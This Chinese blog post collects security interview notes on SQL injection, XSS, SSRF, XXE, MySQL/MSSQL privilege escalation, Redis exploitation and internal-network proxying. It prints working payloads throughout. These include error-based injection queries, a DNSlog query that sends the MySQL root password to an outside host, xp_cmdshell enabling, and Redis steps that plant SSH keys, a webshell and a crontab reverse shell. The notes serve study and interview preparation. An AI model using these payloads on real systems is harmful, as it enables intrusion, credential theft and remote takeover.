【安全面试】安全面试总结1

这是我在面试中被问到一些问题,主要偏向基础知识,如有错误,还望指正。

1. sql注入

1. 原理

攻击者通过构造一些恶意的SQL语句,让后台的数据库去解析,从而达到入侵目标网络,获取敏感信息

2. sql注入分类

  1. 主要分为以下两类:
  • 数字型
  • 字符型
  1. 细分的话可以分为:
  • 联合查询注入
  • 多语句查询注入
  • 报错注入
  • 布尔型注入
  • 基于时间延迟注入
  • 宽字节注入
  • 等等

3. 利用方式

  1. 主要分为以下三类:
  • 查询数据
  • 读写文件
  • 执行命令

4. 报错注入可以利用的函数

  1. 利用floor()函数
mysql> select * from users where id = 1 and (select 1 from (select count(*),concat(0x7e,database(),0x7e,floor(rand(0)*2))a from information_schema.tables group by a)b);

   
   
  • 1
  1. 利用updatexml()函数
mysql> select * from users where id = 1 and updatexml(1,concat(0x7e,database(),0x7e),1);

   
   
  • 1
  1. 利用extractvalue()函数
mysql> select * from users where id = 1 and extractvalue(1,concat(0x7e,database(),0x7e));

   
   
  • 1

ps:如果concat被过滤,则可能使用make_set函数来实现

mysql> select * from users where id = 1 and updatexml(1,make_set(3,0x7e,database()),1);
mysql> select * from users where id = 1 and extractvalue(1,make_set(3,0x7e,database()));

   
   
  • 1
  • 2
  1. 利用join()函数
mysql> select * from(select * from users a join users b)c;

   
   
  • 1
  1. 利用几何函数
    例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()
and geometrycollection((select * from(select * from(select user())a)b));

   
   
  • 1
  1. 利用exp()函数
select exp(~(select*from(select database())x));

   
   
  • 1

5. 报错注入函数有哪些限制要求

  1. floor函数()
    需要同时满足floor(rand(0)*2),count(*),group by这三个函数
    • updatexml()和extractvalue()函数
      mysql5.1.5,最多爆出32位的
    • exp()函数
      在MySQL版本大于等于5.5.5的的时候才能用户

6. sql注入读写文件

  1. load_file()
  • 必须有权限读取并且文件必须完全可读。
    and (select count(*) from mysql.user)>0 /*如果结果返回正常,说明具有读写权限.*/
    and (select count(*) from mysql.user)>0 /*返回错误,应该是管理员给数据库账户降权了*/
    高版本的MYSQL添加了一个新的特性secure_file_priv
    
         
         
    • 1
    • 2
    • 3
    • 欲读取文件必须在服务器上
    • 必须指定文件完整的路径
    • 欲读取文件必须小于max_allowed_packet
  • into outfile()和into dumpfile()
    into outfile导出每行记录,会在每行末尾加新行,会转义换行符,二进制文件会被破坏;而dumpfile()导出一个完整能执行的二进制文件

7. sql防御

  1. 参数过滤
  2. 预编译处理
  3. ODBC
  4. PDO

8. 解释下sql预编译处理

  1. 执行预编译语句
  2. 设置变量
  3. 执行语句

先执行了sql语句,再把参数传入,即使参数有sql命令也不会被执行

9. sql过滤绕过

  1. 过滤空格
  • 用双空格代替
  • 用注释符号/**/代替
  • 用Tab代替
  • 用%a0代替
  • 用括号代替
  1. 过滤等号
  • 用like代替
  • 用in代替
  • 用<或者>代替
  1. 过滤引号
  • 引号内容加上引号使用十六进制
  1. 过滤尖括号
  • 用between函数
  • 用greatest函数
  • 用leatest函数
  1. 过滤逗号
  • 用from for代替
  • limit中用offset代替
  • 用join代替
  • 用like代替
  1. 过滤or,and
  • and=&&
  • or=||
  1. 过滤注释符号
  • id=1’union select 1,2,3||'1
  • id=1’union select 1,2,'3
  • ;%00截断
  1. 过滤符号
  • 采取编码

10. DNSlog注入限制

必须是Windows系统,使用的load_file函数

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 0,1),'.b182oj.ceye.io\\abc’));

   
   
  • 1

11. MySQL提权

  1. udf提权

    • udf概念
      UDF(用户定义函数)是一类对MYSQL服务器功能进行扩充的代码。
    • 适用场合
      • 目标主机系统是Windows。
      • 拥有该主机mysql中的某个用户账号,该账号需要有对mysql的insert和delete权限。
    • 注意事项
      • mysql版本大于等于5.1 udf.dll需要导入到plugin_dir目录
      • mysql版本小与5.1 udf.dll需要导入到C:\windows\目录
    • 使用sql语句创建功能函数
    create function shell returns string soname 'udf.dll' 
    
         
         
    • 1
  2. mof提权

    • mof概念
      mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)
    • 步骤
      • 将mof上传至任意可读可写目录下,假如传到D:\wamp\下命名为:test.mof。也就是:D:\wamp\test.mof
      • 然后使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件。
      • 替换的sql语句:select load_file(‘D:\wamp\test.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;

2. XSS攻击

1. XSS分类

  1. 反射型XSS
  2. 存储型XSS
  3. DOM型XSS

2. 它们的差别

  1. 反射型XSS和存储型XSS都是服务端代码漏洞
  2. 存储型XSS会在服务端存储输入的内容
  3. DOM型XSS是前端代码漏洞

3. XSS危害

  1. 偷取用户Cookie
  2. 弹出广告
  3. 网络钓鱼

4. XSS过滤

  1. 大小写混写
  2. 多重嵌套
  3. 宽字节绕过

5. XSS一般会用到哪些标签

1. <javascript>
2. <iframe src=http://xxxx.xx>
3. <img src=javascript:alert('xss')>
4. <body οnlοad=alert('xss')>
5. <body background=javascript:alert('xss')>
6. <input type="image" src="javascript:alert('xss')">
7. ...

   
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

6. XSS有效的绕过手段

  1. href属性中的伪协议
<a href=javascript:alert('/a/')>adas</a>

   
   
  • 1
  1. 利用HTML5新增标签
<math>标签
<embed>标签

   
   
  • 1
  • 2
  1. 利用DataUrl协议,引用外域的资源

7. 有哪些XSS环境

  1. XSS输出在HTML中的情况
  2. XSS输出在HTML属性中的情况
  3. XSS输出在script标签中的情况
  4. XSS在input value中的情况
  5. XSS输出在textarea中的情况
  6. XSS通过innerHTML输出的情况
  7. XSS通过eval执行的情况
  8. XSS Flash

8. 防护

  1. 过滤+实体化编码
    常用htmlspecialchars()函数进行编码
  2. 设置httponly

3. 请求伪造漏洞与防护

1. CSRF的防护方案

  1. 添加验证过程
  2. 添加验证码
  3. 验证referer
  4. 利用token

2. SSRF可实现的攻击效果

  1. 对内网web应用特征进行发现
  2. 对服务器所在内网进行各类信息探测
  3. 利用file协议读取本地文件
  4. 针对特定目标进行攻击时隐藏攻击发起地址

3. SSRF常见绕过技巧

  1. 利用@符号
  2. 利用localhost
  3. 利用短地址
  4. 利用特殊域名
如 10.0.0.1.Xip.io = 10.0.0.1

   
   
  • 1
  1. 利用DNS解析
  2. 利用Enclosed alphanumerics
  3. 利用。
  4. 利用进制转换
127.0.0.1 = 2130706433D = 7F000001

   
   
  • 1
  1. 其他协议
  • dict://
dict://<user-auth>@<host>:<port>/d:<word>

   
   
  • 1
  • SFTP://
ssrf.php?url=sftp://example.com:11111/

   
   
  • 1
  • TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET

   
   
  • 1
  • LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

   
   
  • 1
  • Gopher://
  • file://

4. 渗透工具

1. sqlmap

  1. –os-shell解析
    用into outfile函数写一个上传页面,执行条件有三个:
    • 网站必须是root权限
    • 攻击者需要做的网站的绝对路径
    • GPC为off,php主动转义的功能关闭

2. brupsuite

  1. Intruder模块–暴力破解
  • 模块组成
    • Target 用于配置目标服务器进行攻击的详细信息
    • Positions 设置Payloads的插入点以及攻击类型(攻击模式)
    • Payloads 设置payload,配置字典
    • Opetions
  • 攻击模式
    • sniper
      对变量依次进行爆破,多个标记依次进行
    • battering ram
      对变量同时进行破解,多个标记同时进行
    • pitchfork
      每一个变量标记对应一个字典,取每个字典的对应项
    • cluster bomb
      每个变量对应一个字典,并且进行交集破解,尝试各种组合,适用于用户名+密码破解

5. 中间件

1. MSSQL利用

  1. MSSQL差异备份
  • 完整备份一次:
backup database 库名 to disk = 'c:\aa.bak';-- 

   
   
  • 1
  • 创建:
create table [dbo].[dtest] ([cmd] [image]);-- insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--

   
   
  • 1
  • 进行差异备份:
backup database test to disk='c:\aa.bak' WITH DIFFERENTIAL,FORMAT;--

   
   
  • 1
  1. MSSQL-xp_cmdshell利用
  • open:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

   
   
  • 1
  • exec:
exec master..xp_cmdshell 'whoami'

   
   
  • 1
  • close:
EXEC sp_configure 'show advanced options', 0;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

   
   
  • 1
  1. MSSQL job

2. redis综合利用

  1. 未授权写入SSH公钥
    利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接使用对应的私钥登录目标服务器。
  • 在本地生产公私钥文件
$ssh-keygen –t rsa

   
   
  • 1
  • 然后将公钥写入 foo.txt 文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

   
   
  • 1
  • 再连接 Redis 写入文件
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK

   
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  1. 未授权写入WebShell
config set dir /home/wwwroot/default/
config set dbfilename redis.php
set webshell "<?php phpinfo(); ?>”
save

   
   
  • 1
  • 2
  • 3
  • 4
  1. 未授权写入Crontab计划任务
# redis-cli -h 192.168.1.20
192.168.1.20:6379>CONFIG SET dir /var/spool/cron 
OK
192.168.1.20:6379>CONFIG SET dbfilename root   
OK
192.168.1.20:6379>set payload "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.1.160/9999 0>&1\n\n"
OK
192.168.1.20:6379>save 
OK
192.168.1.20:6379>exit

   
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

6. 常用端口

端口 服务 说明
21 FTP 主要看是否支持匿名,也可跑弱口令
22 SSH 弱口令爆破
23 Telnet 弱口令爆破
80-90 Web 常见Web漏洞以及一些为管理后台
135 RPC 通过远程调用执行代码
137 NetBIOS 获取目标计算机的相关信息
161 Snmp public弱口令
389 Idap 是否为匿名访问
443 Openssl 心脏出血以及一些Web漏洞测试
445 Smb 跑弱口令,检测是否有ms_08067等溢出
873 Rsync 是否为匿名访问,也可以跑弱口令
1025 Listen port 获取Windows网络的服务器信息与用户信息
1099 Java rmi 远程命令执行漏洞
1433 Mssql 弱口令爆破
1521 Oracle 弱口令爆破
2082/2083 Cpanel主机管理系统登录 弱口令爆破
2222 DA虚拟主机管理系统登录 默认密码zebra
2601/2604 zebra路由器 说明
3128 Squid代理默认端口 如果没设置口令很可能 就直接漫游内网
3306 Mysql 弱口令爆破
3312/3311 Kangle主机管理系统登陆 说明
3389 RDP 弱口令爆破,SHIFT后门,放大镜,输入法漏洞
4440 Rundeck Web
4848 GlassFish Web中间件 弱口令admin/adminadmin
5432 Postgres 弱口令爆破
5560/7778 iSqlPlus
5900/5901/5902 Vnc 弱口令爆破
6379 Redis 一般无验证,直接访问
7001/7002 Weblogic 弱口令爆破
7778 Kloxo主机控制面板登录
8080 Tomcat/Jboss 弱口令爆破,jboss后台可能不验证
8649 Ganglia
8080-8090 常见WEB端口
8888 Amh/LuManager 主机管理系统默认端口 说明
9000 Fcgi fcgi php命令执行漏洞
9200 Elasticsearch 代码执行
9043 Websphere 弱口令爆破
10000 Virtualmin/Webmin 服务器虚拟主机管理系统
11211 Memcache 内存泄露
27017/28017 Mongodb 未授权访问
50060/50030 Hadoop WEB

7. XXE

1. XXE介绍

XXE全称XML外部实体注入(XML External Entity)形成的原因大都是由于允许引用外部实体。

2. XXE危害

  1. 读取任意文件
  2. 执行系统命令
  3. 探测内网端口
  4. 攻击内网网站

3. 调用

  1. 通过&来调用实体值
  2. 外部调用在实体后面加SYSTEM
  3. 如果实体前加了%,那么调用实体时也需要使用%

8. 内网基础

1. 端口转发及代理类

  1. pipe:windows下面的端口转发软件,比较老牌的工具,使用场景有限。
  2. sockscap:老牌的socks代理工具,主要针对windows平台的端口转发和代理转发。
  3. proxifier:跨平台的端口转发和代理工具,适用windows,linux,Macos平台,代理转发利器
  4. Rsscoks:linux平台下的端口转发和代理工具,配合proxychains好用到不行。
  5. Proxychains:linux平台下老牌的socks代理工具,一般的系统都会自带,谁用谁知道。
  6. ssh proxy:通过ssh做端口代理和转发,一般linux系统都自带。
  7. netcat:socat,hping,在很多情况下可以做端口转发和数据代理转发。
  8. metasploit:metasploit的后渗透模块中有不少代理模块和端口转发模块。

2. 正向代理和反向代理

  1. 正向代理
    就是client连上server,然后把server能访问的机器地址和端口(当然也包括server自己)镜像到client的端口上。

  2. 反向代理
    就是client连上server,然后把client能访问的机器地址和端口(也包括client自己)镜像到server的端口上。

  3. 用ssh做socks代理
    ssh -D [本地IP或省略]:[本地端口] [登陆服务器的用户名@服务器IP] -p [服务器ssh服务端口(默认22)]

  4. 区别

  • 位置不同
    正向代理,架设在客户机和目标主机之间;
    反向代理,架设在服务器端;
  • 代理对象不同
    正向代理,代理客户端,服务端不知道实际发起请求的客户端;
    反向代理,代理服务端,客户端不知道实际提供服务的服务端;
                                </div>
发布了121 篇原创文章 · 获赞 8 · 访问量 3万+

猜你喜欢

转载自blog.csdn.net/bylfsj/article/details/104902615